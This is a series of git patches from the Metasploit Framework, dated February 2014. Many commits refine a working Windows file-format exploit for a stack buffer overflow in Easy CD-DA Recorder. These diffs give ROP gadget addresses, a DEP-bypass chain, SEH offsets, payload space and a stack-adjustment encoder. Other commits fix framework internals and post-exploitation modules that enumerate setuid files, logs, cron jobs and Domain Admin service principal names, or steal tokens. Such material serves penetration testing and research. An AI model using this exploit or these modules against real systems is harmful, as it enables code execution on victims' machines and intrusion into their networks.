a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -98,13 +98,14 @@ module Msf::Post::File return !!(stat) else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else f = session.shell_command_token("test -e '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end From e8a3984c8586bc349460f97a37861324f063e8d7 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Tue, 11 Feb 2014 00:29:37 +0100 Subject: [PATCH 226/246] Fix ROP NOP address and reduce/remove NOPs --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 84ee3c0b55..a50f780a28 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote rop_nop = [ - 0x1003d55c # RETN (ROP NOP) [audconv.dll] + 0x1003d55d # RETN (ROP NOP) [audconv.dll] ].flatten.pack('V*') # ROP chain generated by mona.py - See corelan.be @@ -104,9 +104,9 @@ class Metasploit3 < Msf::Exploit::Remote sploit << generate_seh_record(target.ret) sploit << rand_text_alpha_upper(80) sploit << rop_nop - sploit << make_nops(8) + sploit << rand_text_alpha_upper(4) sploit << rop_gadgets - sploit << make_nops(16) + sploit << make_nops(4) sploit << payload.encoded sploit << rand_text_alpha_upper(10000) From 442d212a941b44a6625b8d2702eea9681a4d01b6 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 10 Feb 2014 17:33:36 -0600 Subject: [PATCH 227/246] Add vprint_debug to show what requirements are being compared --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 87f4f82ebd..ea0341fced 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -175,6 +175,8 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method + vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + if v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc From f181134ef8eacc2167de968143f5f6707f54018a Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto <robertoespreto@gmail.com> Date: Mon, 10 Feb 2014 23:16:04 -0200 Subject: [PATCH 228/246] Removed hard tabs --- modules/post/linux/gather/enum_system.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index c5bd9b5a61..7f0c7d57d9 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Post 'Stephen Haywood <averagesecurityguy[at]gmail.com>', # get_cron and original enum_linux 'sinn3r', # Testing and modification of original enum_linux 'ohdae <bindshell[at]live.com>', # Combined separate mods, modifications and testing + 'Roberto Espreto <robertoespreto[at]gmail.com>', # log files and setuid/setgid ], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell' ] @@ -59,8 +60,8 @@ class Metasploit3 < Msf::Post crons = get_crons(users, user) diskspace = execute("/bin/df -ahT") disks = (mount +"\n\/"+ diskspace) - logfiles = execute("/usr/bin/find /var/log -type f -perm -0004 2>/dev/null") - uidgid = execute("/usr/bin/find / -xdev -type f -perm +ug=s -print 2>/dev/null") + logfiles = execute("/usr/bin/find /var/log -type f -perm -0004 2>/dev/null") + uidgid = execute("/usr/bin/find / -xdev -type f -perm +ug=s -print 2>/dev/null") save("Linux version", distro) save("User accounts", users) @@ -68,8 +69,8 @@ class Metasploit3 < Msf::Post save("Running Services", installed_svc) save("Cron jobs", crons) save("Disk info", disks) - save("Logfiles", logfiles) - save("Setuid/setgid files", uidgid) + save("Logfiles", logfiles) + save("Setuid/setgid files", uidgid) end From 68578c15a38aed557739320ba5356f6cccf5662a Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto <robertoespreto@gmail.com> Date: Tue, 11 Feb 2014 10:08:12 -0200 Subject: [PATCH 229/246] find command modified --- modules/post/linux/gather/enum_system.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 7f0c7d57d9..9c2b676892 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -60,8 +60,8 @@ class Metasploit3 < Msf::Post crons = get_crons(users, user) diskspace = execute("/bin/df -ahT") disks = (mount +"\n\/"+ diskspace) - logfiles = execute("/usr/bin/find /var/log -type f -perm -0004 2>/dev/null") - uidgid = execute("/usr/bin/find / -xdev -type f -perm +ug=s -print 2>/dev/null") + logfiles = execute("find /var/log -type f -perm -4 2> /dev/null") + uidgid = execute("find / -xdev -type f -perm +6000 -perm -1 2> /dev/null") save("Linux version", distro) save("User accounts", users) From 3717374896e93917c47ee25544aeee6fba7a03e9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 11 Feb 2014 10:44:58 -0600 Subject: [PATCH 230/246] Fix and improve reliability --- .../windows/fileformat/easycdda_pls_bof.rb | 40 ++++++++++--------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index a50f780a28..997edbfdda 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -9,18 +9,17 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, - 'Name' => 'Easy CD-DA Recorder 2007 PLS Buffer Overflow', + 'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in Easy CD-DA Recorder 2007, caused by a long string in a playlist entry. - By persuading the victim to open a specially-crafted .PLS file, a remote attacker could execute arbitrary code on the system or cause - the application to crash. + the application to crash. This modules has been tested successfully on + Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -43,17 +42,21 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Payload' => { - 'BadChars' => "\x0a\x3d", - 'Space' => 2559 + 'DisableNops' => true, + 'BadChars' => "\x0a\x3d", + 'Space' => 2472, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ - [ 'Windows XP SP3 (DEP Bypass)', + [ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)', + # easycdda.exe 3.0.114.0 + # audconv.dll 7.0.815.0 { 'Offset' => 1108, 'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll] } - ], + ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 7 2010', @@ -71,12 +74,12 @@ class Metasploit3 < Msf::Exploit::Remote return make_nops(4).unpack("V").first end - def exploit + def rop_nops(n = 1) + # RETN (ROP NOP) [audconv.dll] + [0x1003d55d].pack('V') * n + end - rop_nop = - [ - 0x1003d55d # RETN (ROP NOP) [audconv.dll] - ].flatten.pack('V*') + def exploit # ROP chain generated by mona.py - See corelan.be rop_gadgets = @@ -100,15 +103,14 @@ class Metasploit3 < Msf::Exploit::Remote 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] ].flatten.pack('V*') - sploit = rand_text_alpha_upper(target['Offset']) - sploit << generate_seh_record(target.ret) - sploit << rand_text_alpha_upper(80) - sploit << rop_nop - sploit << rand_text_alpha_upper(4) + sploit = rop_nops(target['Offset'] / 4) + sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll] + sploit << [target.ret].pack("V") + sploit << rop_nops(22) sploit << rop_gadgets sploit << make_nops(4) sploit << payload.encoded - sploit << rand_text_alpha_upper(10000) + sploit << rand_text_alpha_upper(10000) # make it crash # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") From e3aa838e52fd9cb52626934c2ca9f8ca40460674 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 11 Feb 2014 11:37:58 -0600 Subject: [PATCH 231/246] Fix on_session_module_run bug --- lib/msf/base/simple/post.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..73f057f87b 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -99,7 +99,7 @@ protected # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] + s = mod.framework.sessions.get(mod.datastore["SESSION"].to_i) mod.framework.events.on_session_module_run(s, mod) mod.run rescue ::Timeout::Error => e From 2476d9be2dcc9b6f08efddc4ca0dd1fb87ade8f3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Tue, 11 Feb 2014 04:13:05 -0600 Subject: [PATCH 232/246] Fix invalid session ID bug This fix should work seamlessly with #2952. --- lib/msf/base/simple/post.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..15b0338072 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -93,15 +93,22 @@ protected # def self.job_run_proc(ctx) mod = ctx[0] + sid = mod.datastore["SESSION"] begin mod.setup mod.framework.events.on_module_run(mod) # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] - mod.framework.events.on_session_module_run(s, mod) - mod.run + s = mod.framework.sessions.get(sid) + if s + mod.framework.events.on_session_module_run(s, mod) + mod.run + else + mod.print_error("Invalid session ID: #{sid}") + mod.cleanup + return + end rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") From 184ccb9e1e3456d93d25c86ccac1e0547215413d Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Tue, 11 Feb 2014 23:42:58 +0100 Subject: [PATCH 233/246] Fix payload size --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 997edbfdda..d7dcbe63cf 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'DisableNops' => true, 'BadChars' => "\x0a\x3d", - 'Space' => 2472, + 'Space' => 2454, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote 0x1005d288, # POP EBP # RETN [audconv.dll] 0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe] 0x1005cc2d, # POP EBX # RETN [audconv.dll] - 0x000009ff, # 0x000009FF-> EBX + 0x00000996, # 0x00000996-> EBX 0x1008740c, # POP EDX # RETN [audconv.dll] 0x00000040, # 0x00000040-> EDX 0x1001826d, # POP ECX # RETN [audconv.dll] From 12471660e9e97691e94fe8d950c7af1929d6122c Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Tue, 11 Feb 2014 23:48:04 +0100 Subject: [PATCH 234/246] Replace unnecessary NOP sled with random text --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index d7dcbe63cf..280a8f2952 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote # easycdda.exe 3.0.114.0 # audconv.dll 7.0.815.0 { - 'Offset' => 1108, + 'Offset' => 1112, 'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll] } ] @@ -103,10 +103,10 @@ class Metasploit3 < Msf::Exploit::Remote 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] ].flatten.pack('V*') - sploit = rop_nops(target['Offset'] / 4) - sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll] + sploit = rand_text_alpha_upper(target['Offset']) sploit << [target.ret].pack("V") - sploit << rop_nops(22) + sploit << rand_text_alpha_upper(56) + sploit << rop_nops(8) sploit << rop_gadgets sploit << make_nops(4) sploit << payload.encoded From 7fc3511ba96751eaa9d969205eb44b4686dab1d8 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Tue, 11 Feb 2014 23:48:54 +0100 Subject: [PATCH 235/246] Remove unnecessary NOPs --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 280a8f2952..5bc71a3ef8 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -108,7 +108,6 @@ class Metasploit3 < Msf::Exploit::Remote sploit << rand_text_alpha_upper(56) sploit << rop_nops(8) sploit << rop_gadgets - sploit << make_nops(4) sploit << payload.encoded sploit << rand_text_alpha_upper(10000) # make it crash From 3f09456ce8acd7a8b938b3987058dd0f59a6d3c9 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Tue, 11 Feb 2014 23:53:04 +0100 Subject: [PATCH 236/246] Minor code formatting --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 5bc71a3ef8..2696aa5ac2 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -14,11 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow', 'Description' => %q{ - This module exploits a stack-based buffer overflow vulnerability in + This module exploits a stack-based buffer overflow vulnerability in Easy CD-DA Recorder 2007, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .PLS file, a remote attacker could execute arbitrary code on the system or cause - the application to crash. This modules has been tested successfully on + the application to crash. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'BadChars' => "\x0a\x3d", 'Space' => 2454, - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500 }, 'Targets' => [ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << rop_nops(8) sploit << rop_gadgets sploit << payload.encoded - sploit << rand_text_alpha_upper(10000) # make it crash + sploit << rand_text_alpha_upper(10000) # Generate exception # Create the file print_status("Creating '#{datastore['FILENAME']}' file ...") From 5a488b310df7198fd81ca97a960ba65b7ff4584d Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Tue, 11 Feb 2014 18:06:43 -0600 Subject: [PATCH 237/246] Use a more correct error message -1 is a valid session ID, even though it's a fake one. --- lib/msf/base/simple/post.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index 15b0338072..226fc7a2d0 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -93,19 +93,18 @@ protected # def self.job_run_proc(ctx) mod = ctx[0] - sid = mod.datastore["SESSION"] begin mod.setup mod.framework.events.on_module_run(mod) # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions.get(sid) + s = mod.framework.sessions.get(mod.datastore["SESSION"]) if s mod.framework.events.on_session_module_run(s, mod) mod.run else - mod.print_error("Invalid session ID: #{sid}") + mod.print_error("Session not found") mod.cleanup return end From 7195416a04e8665750b53b63ef3eab8a2e1eae08 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Wed, 12 Feb 2014 02:35:53 +0100 Subject: [PATCH 238/246] Increase the size of the NOP sled --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 2696aa5ac2..9007ae14ca 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -105,8 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit = rand_text_alpha_upper(target['Offset']) sploit << [target.ret].pack("V") - sploit << rand_text_alpha_upper(56) - sploit << rop_nops(8) + sploit << rop_nops(22) sploit << rop_gadgets sploit << payload.encoded sploit << rand_text_alpha_upper(10000) # Generate exception From beca4b8bc33a016f2d6ecde11eaf2c51fb176c5f Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 12 Feb 2014 13:51:30 +1000 Subject: [PATCH 239/246] Fix issue with getenv failing The call to `getenv` failed when `%` or `$` were used because of the differences between Meterpreter handling and MSF handling. Meterpreter effectively ignores (ie. strips out) the platform-specific characters which are used for environment variables. In the `getenv` call, MSF was invoking `getenvs` and getting a full hash of values, then attempting to index into the hash using a string which may be "polluted" with those platform-specific characters. This meant that there was a discrepency between what was returned and what was used to index and as a result, the value would come out as `nil`. For example, calling `getenv('%FOO%')` would result in a hash with `{'FOO'=>'bar'}`, so looking for '%FOO%' in this result would yield nothing. This commit changes this so that the name is ignored and the first value is returned. --- .../meterpreter/extensions/stdapi/sys/config.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 751eee39a4..82d75c3b6f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -30,7 +30,7 @@ class Config def getuid request = Packet.create_request('stdapi_sys_config_getuid') response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -53,14 +53,15 @@ class Config result[var_name] = var_value end - return result + result end # # Returns the value of a single requested environment variable name # def getenv(var_name) - getenvs(var_name)[var_name] + _, value = getenvs(var_name).first + value end # @@ -92,7 +93,7 @@ class Config req = Packet.create_request('stdapi_sys_config_steal_token') req.add_tlv(TLV_TYPE_PID, pid.to_i) res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -101,7 +102,7 @@ class Config def drop_token req = Packet.create_request('stdapi_sys_config_drop_token') res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -114,7 +115,7 @@ class Config res.each(TLV_TYPE_PRIVILEGE) do |p| ret << p.value end - return ret + ret end protected From 0f620f5aba9bca34f3e12c9172bbd3f36facbfcd Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 12 Feb 2014 00:23:23 -0600 Subject: [PATCH 240/246] Fix Uninitialized Constant RequestError [SeeRM #8765] NameError uninitialized constant --- modules/post/windows/gather/enum_ad_user_comments.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index d6a66b30cb..e1e9da0eeb 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Post return end rescue ::Exception => e - if e.kind_of?(RuntimeError) or e.kind_of?(RequestError) + if e.kind_of?(RuntimeError) or e.kind_of?(::Rex::Post::Meterpreter::RequestError) # Can't bind or in a network w/ limited accounts print_error(e.message) return From 3283880d65af350aac95029e138f071f04f1ac4a Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Wed, 12 Feb 2014 12:09:16 +0100 Subject: [PATCH 241/246] Partially revert "Replace unnecessary NOP sled with random text" to improve reliability. This partially reverts commit 12471660e9e97691e94fe8d950c7af1929d6122c. --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 9007ae14ca..f0cb5837ce 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] ].flatten.pack('V*') - sploit = rand_text_alpha_upper(target['Offset']) + sploit = rop_nops(target['Offset'] / 4) sploit << [target.ret].pack("V") sploit << rop_nops(22) sploit << rop_gadgets From 11513d94f5f23822191637484e143c9db6f5fb76 Mon Sep 17 00:00:00 2001 From: sgabe <sgabe@server.fake> Date: Wed, 12 Feb 2014 12:17:02 +0100 Subject: [PATCH 242/246] Add Juan as author --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index f0cb5837ce..7c440c3016 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -24,8 +24,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'chap0', # Vulnerability discovery and original exploit - 'Gabor Seljan' # Metasploit module + 'chap0', # Vulnerability discovery and original exploit + 'Gabor Seljan', # Metasploit module + 'juan vazquez' # Improved reliability ], 'References' => [ From 9845970e12af18d7ed3114ac09b191ab0a2aa0c9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 12 Feb 2014 08:10:14 -0600 Subject: [PATCH 243/246] Use pop#ret to jump over the overwritten seh --- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index 7c440c3016..c9bf61f100 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote # easycdda.exe 3.0.114.0 # audconv.dll 7.0.815.0 { - 'Offset' => 1112, + 'Offset' => 1108, 'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll] } ] @@ -105,6 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote ].flatten.pack('V*') sploit = rop_nops(target['Offset'] / 4) + sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll] sploit << [target.ret].pack("V") sploit << rop_nops(22) sploit << rop_gadgets From 40db1c4d0d404896c78eaba23f53fb45bab43af3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 12 Feb 2014 12:17:53 -0600 Subject: [PATCH 244/246] s/auxiliarly/auxiliary/ --- lib/msf/base/simple/post.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index 226fc7a2d0..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -89,7 +89,7 @@ protected # # Job run proc, sets up the module and kicks it off. # - # XXX: Mostly Copy/pasted from simple/auxiliarly.rb + # XXX: Mostly Copy/pasted from simple/auxiliary.rb # def self.job_run_proc(ctx) mod = ctx[0] @@ -141,7 +141,7 @@ protected # # Clean up the module after the job completes. # - # Copy/pasted from simple/auxiliarly.rb + # Copy/pasted from simple/auxiliary.rb # def self.job_cleanup_proc(ctx) mod = ctx[0] From ce2de8f3bfc3a802e6ccdf205de8cc15abe951b4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 12 Feb 2014 15:08:20 -0600 Subject: [PATCH 245/246] Different way to write this --- .../post/windows/gather/enum_ad_user_comments.rb | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index e1e9da0eeb..df0d8721b5 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -46,15 +46,10 @@ class Metasploit3 < Msf::Post if q.nil? or q[:results].empty? return end - rescue ::Exception => e - if e.kind_of?(RuntimeError) or e.kind_of?(::Rex::Post::Meterpreter::RequestError) - # Can't bind or in a network w/ limited accounts - print_error(e.message) - return - else - # Unexpected, raise it - raise $1 - end + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return end # Results table holds raw string data From 61563fb2afabfa1d725ff1bfd90fabc6e5815333 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 13 Feb 2014 09:10:04 -0600 Subject: [PATCH 246/246] Do minor cleanup --- lib/msf/core/post/windows/ldap.rb | 2 + .../gather/enum_ad_service_principal_names.rb | 83 ++++++++++--------- 2 files changed, 45 insertions(+), 40 deletions(-) diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb index 121465ca58..8bc37e30e9 100644 --- a/lib/msf/core/post/windows/ldap.rb +++ b/lib/msf/core/post/windows/ldap.rb @@ -96,6 +96,8 @@ module LDAP # @param [Integer] Maximum results # @param [Array] String array containing attributes to retrieve # @return [Hash] Entries found + # @raise [RuntimeError] Raised when the default naming context isn't + # specified as distinguished name. def query(filter, max_results, fields) default_naming_context = datastore['DOMAIN'] default_naming_context ||= get_default_naming_context diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb index ea30be09e8..3c7af8ed0f 100644 --- a/modules/post/windows/gather/enum_ad_service_principal_names.rb +++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb @@ -13,27 +13,27 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::LDAP def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Active Directory Service Principal Names', - 'Description' => %Q{ - This module will enumerate servicePrincipalName in the default AD directory - where the user is a member of the Domain Admins group. - }, - 'License' => MSF_LICENSE, - 'Author' => [ + super(update_info(info, + 'Name' => 'Windows Gather Active Directory Service Principal Names', + 'Description' => %Q{ + This module will enumerate servicePrincipalName in the default AD directory + where the user is a member of the Domain Admins group. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>', #Metasploit Module 'Scott Sutherland' #Original Powershell Code ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ ['URL', 'https://www.netspi.com/blog/entryid/214/faster-domain-escalation-using-ldap'], ] - )) + )) register_options([ - OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'cn,servicePrincipalName']), OptString.new('FILTER', [true, 'Search filter, DOM_REPL will be automatically replaced', '(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DOM_REPL))']) ], self.class) @@ -48,7 +48,13 @@ class Metasploit3 < Msf::Post domain = get_default_naming_context 